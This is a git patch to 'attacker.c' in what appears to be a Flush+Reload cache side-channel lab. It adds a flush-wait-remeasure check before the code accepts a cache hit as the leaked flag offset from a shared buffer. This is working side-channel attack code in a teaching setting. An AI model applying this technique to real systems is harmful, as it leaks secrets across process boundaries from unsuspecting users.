From fb2a2ba698c32119b22fccc1825324399c4c8223 Mon Sep 17 00:00:00 2001
From: ClF3 <smh66ccff@outlook.com>
Date: Tue, 5 Nov 2024 09:55:32 +0800
Subject: [PATCH] part2 ver 0.6.0 double check

---
 Part2-FlushReload/attacker.c | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/Part2-FlushReload/attacker.c b/Part2-FlushReload/attacker.c
index b575370..4fbcc2f 100644
--- a/Part2-FlushReload/attacker.c
+++ b/Part2-FlushReload/attacker.c
@@ -18,6 +18,7 @@ int main() {
     int index = -1;
     int flag = -1;
     CYCLES time = -1;
+    CYCLES new_time = -1;
     int offset = 0;
     int new_offset = 0;
     // buf is shared between the attacker and the victim
@@ -38,9 +39,14 @@ int main() {
         }
         time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
         if(time < CACHE_HIT_THRESHOLD) {
-            flag = offset;
-            index = i;
-            break;
+            clflush((ADDR_PTR)buf + offset * 128);
+            for(int i = 0; i < WAIT_TIME; i++);
+            new_time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
+            if(new_time < CACHE_HIT_THRESHOLD) {
+                flag = offset;
+                index = i;
+                break;
+            }
         }
     }
     printf("Flag: %d\n", flag);